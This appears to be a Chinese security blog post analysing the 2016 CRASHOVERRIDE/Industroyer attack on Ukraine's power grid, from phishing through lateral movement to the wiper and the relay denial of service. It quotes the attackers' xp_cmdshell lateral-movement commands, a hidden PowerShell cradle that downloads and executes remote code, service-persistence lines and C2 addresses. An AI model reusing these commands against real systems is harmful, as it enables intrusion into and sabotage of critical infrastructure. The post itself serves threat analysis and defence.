大家好,我是ABC_123。上一篇文章给大家分享了俄乌网络战中,沙虫APT组织致乌克兰第1次大停电事故的技术细节,反响还不错。乌克兰历史上总共发生3次大停电事故,分别是在2015年、2016年、2022年。今天ABC_123继续为大家分享第2次停电事故的技术细节,该APT攻击事件公布出来的资料非常少,因而分析难度非常大。
注:上一篇文章连接如下《第113篇:俄乌网络战之一,沙虫APT组织致乌克兰第1次大停电事件复盘》
Part2 技术研究过程
2016年12月17日,ELECTRUM团队通过钓鱼邮件渗透了乌克兰首都基辅及周边地区的电力网络,造成乌克兰首都基辅及其北部地区停电大约1个小时,攻击目标为诺威佩特里夫茨村的北部变电站自动化控制系统。此次攻击由与俄罗斯沙虫(Sandworm)APT组织相关的分支团队ELECTRUM发起,并使用名为CRASHOVERRIDE(又称Industroyer)的模块化恶意软件框架。
CRASHOVERRIDE是第4个针对ICS的恶意软件,前3个是震网病毒STUXNET、黑色能量BLACKENERGY 2和HAVEX。它是第2个用于设计和破坏工业控制系统ICS的恶意软件(STUXNET震网病毒是第1个),也是第1个针对电网电力系统攻击的恶意软件。它通过模块化结构部署多个针对ICS通信协议的攻击payload,干扰电力传输。与2015年乌克兰电网攻击相比,CRASHOVERRIDE通过框架组件化的方式实现了更高的自动化,不再依赖人工操作鼠标进行断电,攻击技术更为复杂,深刻理解了电网传输协议的工作原理,还攻击了保护继电器设备,显示出攻击团队已掌握高度针对性的ICS攻击方法。
在CRASHOVERRIDE的攻击中,操控的控制系统数量远超过实际发生的停电事件。攻击涉及至少七个OPC服务器和多个管理的OPC实例,至少八个IEC-101控制器以及超过400个IEC-104通信控制点。攻击团队试图在数百个独立的控制系统之间引发大范围的停电,目标是制造比2015年事件更大规模的破坏性影响,但是对目标环境中设备复杂性和协议实现差异的理解不足,部分设备拒绝或忽略了伪造的通信数据,导致攻击未达到预期效果。
CRASHOVERRIDE攻击的外网入口可能来源于多种途径:攻击者可能利用了BlackEnergy 3遗留的入口,也可能是GreyEnergy僵尸网络在前期进行信息收集的结果。此外,安全公司分析发现,攻击最初可能源于2016年1月发起的一场针对乌克兰关键基础设施单位的鱼叉式网络钓鱼活动。一封于2016年1月19日发送的鱼叉钓鱼邮件包含带有恶意XLS文件的附件,表明攻击者早在同年10月之前已成功完成初步访问并驻留在目标IT网络中。
该电子邮件包含HTML内容,其中包含指向远程服务器上的.PNG文件的链接,这使得攻击者能够收到通知,确认目标已接收并打开邮件。我们观察到过去BlackEnergy组织也使用过同样有趣的技术。电子邮件的HTML内容包含指向远程服务器上PNG文件的链接。
同样有趣的是,PNG文件的名称是Base64编码的字符串“mail_受害者的邮箱地址”。如下图所示,攻击中使用的攻击中使用的 XLS 文件。它通过社会工程手段试图诱骗收件人忽视Microsoft Office内置的安全警告,从而无意中执行宏。“注意!此文档是在较新版本的Microsoft Office中创建的。需要启用宏才能显示文档内容。”执行宏会启动一个恶意的木马下载器,该下载器试图从远程服务器下载并执行最终的恶意载荷。
攻击者入侵了乌克兰电力公司的内部网络,并获得对传输系统的远程控制权限。攻击者首先对乌克兰电力公司的网络进行侦察,寻找潜在的漏洞和入口点。他们可能利用钓鱼邮件、恶意链接或其他社会工程学手段,成功渗透到目标网络中。
在2016年1月至10月期间,在攻击者实施大规模钓鱼攻击之后的这段时间里,ELECTRUM长期潜伏在乌克兰电力系统网络中,通过大量的信息收集和侦察,不断收集内网的账号密码和身份凭据,不断渗透并获得额外的权限,其中包括使用公开的mimikatz源代码进行编译,并使用UPX进行打包,减少工具的体积。与 2015 年乌克兰停电事件类似,ELECTRUM 可能通过重复使用合法凭据远程登录 ICS 环境中的设备,或利用现有的 VPN 连接进行操作。
2016年12月初,利用这些账号获取一个可以既可以连接到IT网络又可以进入ICS工业控制系统的多网卡设备,这些设备权限就成了进入ICS环境的跳板机。
12月1日 01:28,攻击者在这一跳板机ICS访问服务器上进行了用户账户修改,通过运行脚本文件创建两个新的本地账户:“admin”和“система”。这些账户被授予域内访问权限。
12月1日 01:29,攻击者在禁用了系统的事件日志记录功能,清除入侵痕迹。
12月12日中旬,ICS环境中用来存储工控系统的状态信息和日志信息的3台win2003系统的SQLServer数据库被入侵,它们采用相同的命名模式,如“Device-1”、“Device-2”,这些数据库主机与ICS环境中其他的主机广泛连接,甚至可以直接参与设备的流程操控。
12月12日 13:00,攻击者对ICS环境内网中的关键设备进行大约2个小时的扫描探测和信息收集,例如列目录操作、查看目录信息、测试受害环境中与其它ICS主机的网络连通性等。随后,ELECTRUM 执行了一段脚本,使用的是“Administrator”用户和相同的密码,对内网100多个主机进行了快速的RPC身份验证尝试。
上述操作表明攻击者在12月初访问 ICS 环境与12月中旬观察到的活动之间,进行了大量ISC内网探测活动。并通过SQLServer数据库主机的exec xp_cmdshell命令进行内网横向拓展,进行恶意文件传输、系统扫描、网络检查等。
借助SQLServer横向渗透
1、ELECTRUM组织利用如下命令在不同服务器之间创建链接:
2、ELECTRUM组织使用了很多操作系统自带的命令进行内网横向,除了 CRASHOVERRIDE恶意样本之外,并未发现其他的恶意程序,攻击者会将可执行文件以.txt白名单扩展名传输到ICS主机中,通过move命令更名为.exe格式,以绕过杀软防护。所执行命令的示例如下:
EXEC xp_cmdshell 'net use L: \\<TargetIP>\$C <Password> /USER:<Domain>\<User>'
EXEC xp_cmdshell 'move C:\Delta\m32.txt C:\Delta\m32.exe'
EXEC xp_cmdshell 'netstat -an'
4、攻击者使用BAT脚本,调用powershell执行命令:
powershell.exe -nop -w hidden -c $l=newobject net.webclient;$l.proxy=[Net.WebRequest]::GetSystemWebProxy();$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $l.downloadstring('http://x.x.x.x:8801/msupdate');
此外,攻击者使用脚本和SysInternals软件包中较老版本的psexec程序进行渗透,PSExec文件重命名为“ps.exe”进行使用。通过网络内部的横向移动,攻击者扩大了对关键系统的访问权限,特别是针对工业控制系统(ICS)和SCADA设备。攻击者收集了有关电力系统的详细信息,包括保护继电器的配置、SCADA系统的通信协议等,为后续攻击奠定基础。
CRASHOVERRIDE本身至少由三部分组成(在大多数情况下是四部分):一个启动器可执行文件;一个特定于ICS协议的负载模块,DLL格式;一个清除负载模块,也是DLL格式;以及大多数效果负载的配置文件。它通过名为Crash的导出函数加载模块DLL。新的线程在执行机器上以最高优先级创建。控制权然后从启动程序传递给加载的模块,启动程序会在等待2小时后执行数据擦除模块。
在经过2016年12月12日至15日一段时间的侦察后,ELECTRUM团队于2016年12月16日开始将CRASHOVERRIDE框架部署到目标主机上。在经过连通性测试和其他可行性验证之后,12月17日通过编写BAT脚本文件,将CRASHOVERRIDE的各个攻击模块推送到其他主机上,复制到受感染的目标设备的C:\Backinfo目录上,并通过列目录命令检查是否投递成功。
通过net use命令将启动器模块复制到目标主机上,以下是‘101_copy.bat’和‘104_copy.bat’中的一些示例行:
cscript C:\Backinfo\ufn.vbs <TargetIP>"C:\Backinfo\ImapiService.exe" "C:\Delta\svchost.exe"
cscript C:\Backinfo\ufn.vbs <TargetIP>"C:\Backinfo\101.dll" "C:\Delta\101.dll"
cscript C:\Backinfo\ufn.vbs <TargetIP>"C:\Backinfo\139.ini" "C:\Delta\101.ini"
cscript C:\Backinfo\ufn.vbs <TargetIP>"C:\Backinfo\haslo.dat" "C:\Delta\haslo.dat"
cscript C:\Backinfo\sqlc.vbs "<TargetIP>" "-c""dir C:\Delta\"
攻击者通过C2服务器(如195.16.88.6、93.115.27.57、5.39.218.152等)运行Tor软件,并在跳板机上监听3128代理Squid,处理和转发恶意软件的HTTP/HTTPS通信。后门程序在受感染设备上运行,通信流量经过内网跳板机并转发到外部网络,最终通过Tor网络连接到C2服务器。Tor网络通过多层加密和中转节点将流量传递至C2服务器,使攻击者可以在非工作时间内减少流量探测的风险。
通过这种代理机制,后门定期向C2服务器报告设备状态,获取指令并执行,如关闭断路器或修改控制信号,执行结果通过同一路径返回。攻击者通过该跳板主机扫描内网,寻找目标设备(如104从站、OPC服务器等),一旦确定目标,配置该主机作为Main Backdoor的代理IP,通过它与RTU或PLC通信并进行控制。Main Backdoor模块处理来自C&C服务器的控制命令,创建线程来响应攻击者的请求。
攻击者的工具库中包含一个端口扫描工具,可用于绘制网络地图并找到与攻击相关的计算机。有趣的是,攻击者没有使用现有的软件,而是构建了自己的定制端口扫描器。如图 19 所示,攻击者可以定义要扫描的 IP 地址范围和网络端口范围。
执行4个ICS攻击模块
CRASHOVERRIDE 在部署到目标系统后会被创建为系统服务以确保自动启动。攻击者利用 sc config 命令对服务进行配置,其中,binPath 参数指定了恶意程序的执行路径及其所需的文件(如 imapi.dll 和配置文件 i.ini),并将服务设置为系统启动时自动运行:
sc config imapiservice binPath= "C:\Intel\imapi.exe C:\Intel\imapi.dll i.ini" start= auto
攻击者通过脚本(如 remote.vbs)在目标系统远程调用服务启动命令,例如:
服务启动后,CRASHOVERRIDE后门会加载配置文件并启动针对特定通信协议(如IEC 104、IEC 101、IEC 61850和OPC)的攻击模块,操作工业控制系统(ICS)协议,向设备发送恶意指令,破坏关键基础设施。为实现多主机间的同步攻击,程序中嵌入了计时功能,基于硬编码的触发时间协调多个受害主机的攻击,确保操作同时进行。整个流程通过服务的自动启动和内置触发机制,达成对目标系统的持续破坏,显著增加了恢复的复杂度。
12月17日晚23:53,攻击者通过CRASHOVERRIDE恶意软件,发起了针对乌克兰电力系统的攻击。攻击者通过操控RTU设备等逻辑手段断开电网中多个断路器,导致大规模停电,并破坏了SCADA系统的恢复功能,使得受害者无法快速恢复。攻击者还部署了“擦除”程序,删除了关键配置文件,阻止了SCADA系统恢复,并使得远程操作和诊断系统失效,导致系统无法理解电网状态。CRASHOVERRIDE后门使用一个配置文件,指定一个或多个目标设备的信息,后门通过轮询目标设备查找已知地址,并启动一个无限循环,持续切换目标设备状态。当操作员在HMI(人机界面)上查看断路器状态时,后门继续运行该循环,阻止操作员重新闭合断路器,导致断路器无法重新闭合,影响系统的正常控制和操作。
该组件的文件名为 haslo.dat 或 haslo.exe,“清除”模块是CRASHOVERRIDE攻击的最后阶段。在分析中提供的样本中,启动程序在一个两小时的计时器后,再次寻找导出函数“Crash”,但这次是在一个必须与指定工作目录“haslo.dat”共同存在的独立硬编码文件中。清除模块包含三个阶段:
1、将系统服务注册表项覆盖为空值,使系统无法启动。
2、删除与工业控制系统(ICS)操作相关的文件,阻碍基于先前正常配置文件的恢复。
CrashOverride的wiper模块通过多种手段破坏系统,导致系统无法启动并增加恢复难度。其主要功能包括:枚举所有连接的驱动器,查找特定扩展名的文件,同时跳过包含“Windows”的子目录。模块使用随机数据重写文件内容,通常只覆盖文件的开头部分,重写的数据量取决于文件大小。如果首次擦除失败,模块会终止非关键系统进程并重新尝试擦除。目标文件范围广泛,包括Windows二进制文件、备份文件、配置文件及工业控制系统(ICS)文件(如ABB PCM600配置文件),最终导致系统崩溃。此外,wiper模块还会清除与系统服务相关的注册表键(路径为SYSTEM\CurrentControlSet\Services),使系统服务无法运行,并删除本地硬盘和网络驱动器上的ICS配置文件,进一步破坏系统功能,导致设备失效。最终,攻击使得运营人员无法控制或查看ICS,且无法通过远程操作恢复电力。
攻击者首先通过操控SCADA/DCS设备,阻止系统重启和控制,删除了SCADA配置文件,使运营人员无法远程控制电力系统。然后CRASHOVERRIDE后门利用西门子SIPROTEC继电器设备的CVE-2015-5374漏洞对实施了拒绝服务攻击。攻击者向SIPROTEC设备的50000端口发送一个仅18字节的UDP数据包,设备会进入非功能性待机模式完全停止响应任何命令,最终无法执行过电流保护任务。这些措施迫使乌克兰电力公司只能通过手动恢复电力供应,但由于SCADA系统出现问题,无法全面了解ICS环境,在继电器被破坏的情况下,电网自保护机制失效,手工恢复可能会导致电力系统不稳定,引发电流过载问题,导致设备损坏。
攻击者使用CRASHOVERRIDE后门创建dos.exe文件,成功实现了针对UDP 50000端口的特制流量,能够触发拒绝服务条件,但在创建套接字时由于编码错误未能实施正确的IP地址的字节转换,最终导致乌克兰第2次大停电事故的影响范围远低于预期。工具中硬编码了四个SIPROTEC设备的IP地址,但在创建通信套接字时,这些地址被错误地反向读取该模块将流量发送到无效或错误的IP地址,如果目标是192.1.2.3,创建的套接字将会发送流量到3.2.1.192,导致出现错误。
当电力恢复操作开始时,由于没有保护继电器,重连电力线路时可能出现过电流现象,导致设备损坏。如果攻击成功,可能会导致电力设备的物理损坏,进而导致长时间的电力中断,甚至需要更换设备。
该样本与2017年中期被国外安全公司发现,最早出现在2016年1月份。攻击者也做了权限维持策略,通过篡改Windows记事本应用程序,使其嵌入恶意代码,替换掉原本系统自带的记事本程序,以确保在主要后门被检测或禁用时,仍能重新获得对目标网络的访问。恶意代码经过了混淆处理,但在解密后,会连接到一个不同于主要后门的远程C2服务器,下载一个有效payload,并以Shellcode形式直接加载到内存并执行。此外,插入的代码还会解密并恢复记事本的原始代码,这些代码存储在文件的末尾。然后,执行控制权被交给恢复后的原始记事本代码,使得记事本应用程序按预期工作。
1. CrashOverride攻击是一个多阶段的、精心策划的攻击,涵盖了从初步渗透到完全控制电力系统的全过程。攻击者通过精确的技术和策略,成功地造成了乌克兰首都基辅多个区域停电,并向全球展示了工业控制系统的脆弱性和攻击者的破坏能力。
2. 此次攻击造成了首都基辅部分区域停电,如果攻击完全成功,会造成电力设备因电流过载而损坏,导致数月甚至更长时间的停电,电力恢复和设备修复过程将更加复杂和耗时。
3. 攻击者在记事本应用程序中嵌入后门代码,实现了权限维持,帮助攻击者在权限丢失后重新访问权限。
4. 如果电力系统使用IEC 101, IEC 104和IEC 61850等协议,意味着CrossOverride如果有针对性的投放,也会对其产生严重影响。
5. 在两次乌克兰大停电事故中,均是通过手工恢复电力的方式,快速恢复电力系统的中断。
6. APT组织会对电力系统的保护继电器的DoS漏洞进行利用,消除电力系统的过载保护措施,从而导致工作人员恢复电力的时候,造成设备损坏或者更大范围的停电。表明APT攻击组织已经不仅仅是关掉电力设备造成停电,而是对电力系统的根本保护系统进行攻击
7. 电力系统的冗余和物理保护措施,减轻了乌克兰多次大停电事故的破坏性。对工程文件(如项目逻辑、IED 配置文件)进行定期备份,以减少恶意软件引发的破坏性影响。
8. 第2次大停电乌克兰的恢复电力速度更快,表明制定工业控制系统的应急演练的重要性。针对这种攻击制定相应计划、确保各个部门(工程、运维、IT、安全)协调应对。
公众号专注于网络安全技术分享,包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,每周一篇,99%原创,敬请关注。
Contact me: 0day123abc#gmail.com
(replace # with @)